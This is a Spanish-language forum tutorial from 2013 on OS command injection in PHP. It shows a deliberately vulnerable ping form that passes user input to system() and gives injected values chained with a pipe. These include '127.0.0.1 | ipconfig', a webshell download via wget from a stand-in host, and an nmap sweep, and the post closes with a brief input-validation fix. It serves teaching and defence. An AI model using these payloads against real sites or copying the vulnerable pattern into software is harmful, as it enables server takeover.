[Guia / Manual] Remote Command Execution RCE

Iniciado por yoyomismo, Abril 10, 2013, 11:39:26 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Publicado inicialmente en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, autoría propia

Explicación

Se trata de ejecutar código arbitrario a nivel S.O.

Supongamos que tenemos una página Web, con algún software a nivel S.O. para alguna tarea, y le pasamos los parámetros adecuados por POST para hacer la llamada via system... Podemos manipular la instrucción con dos clicks

Ahora razonemos:
Código: php
<?php
$val = "bin.exe $_POST["param"]";
system($val);
?>


Podemos manipular algo, y con eso basta para provocar algo. Más adelante veremos como.

Código vulnerable
Código: php
<?php
if(!isset($_POST["IP"]))
{
?>
<form action="ping.php" method="POST">
IP: <input name="IP"><br>
<input type="submit" value="Ping">
</form>
<?php
} else {
system("ping ".$_POST["IP"]);
}
?>


Primer fallo, Web. No limpiar ni revisar la IP, junto a una función tan peligrosa como system (Creedme, hay increibles sorpresas con PHP...)

Segundo fallo, la forma del S.O. de concatenar instrucciones.

Ataque

Este ejemplo está tratado en Windows, aunque funciona igual bajo Linux.

Si vamos a la consola de WinBug, Windows para otros, vemos que podemos concatenar comandos de la siguiente forma:
Com1 | Com2 | Com3 | ...
Citar
>>>>>>>>echo xD > xd.txt | ping localhost

Pinging yomismo-PC [::1] with 32 bytes of data:
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms
Reply from ::1: time<1ms

Ping statistics for ::1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

>>>>>>>>type xd.txt
xD

Tenemos una instrucción que modificar... ¿Recuerdas? ¿Y si probamos?

Modifiquemos la dirección IP enviada con Live HTTP Headers, Tamper Data o similares vía POST, para concatenar un nuevo comando...

Código: php
IP: 127.0.0.1 | ipconfig


Como resultado, podemos ver la configuración IP del host.

Peligros

Es una de las vulnerabilidades más críticas que conozco (Reitero que las hay mucho peores), imaginemos el siguiente caso:

Webshell:
Código: php
IP: 127.0.0.1 | wget http://shell.com/shell.php

Otros xD:
Código: php
IP: 127.0.0.1 | nmap -sP 192.168.*.*


Solución

La solución más estúpida es la más eficaz. Limpia la variable, y observa que esta corresponda a una dirección IP válida.

Como dijo RemoteExecution (Adivinen de donde viene el nick): "Una vulnerabilidad sólo es tan limitada como tu quieras

Dudas y amenazas de muerte son bienvenidas   8)

Dedicación: Stuxnet, cph, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, 11Sep

Saludos!
CPH: Cibergolen
Otros: Yo-Mismo

Visitame en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta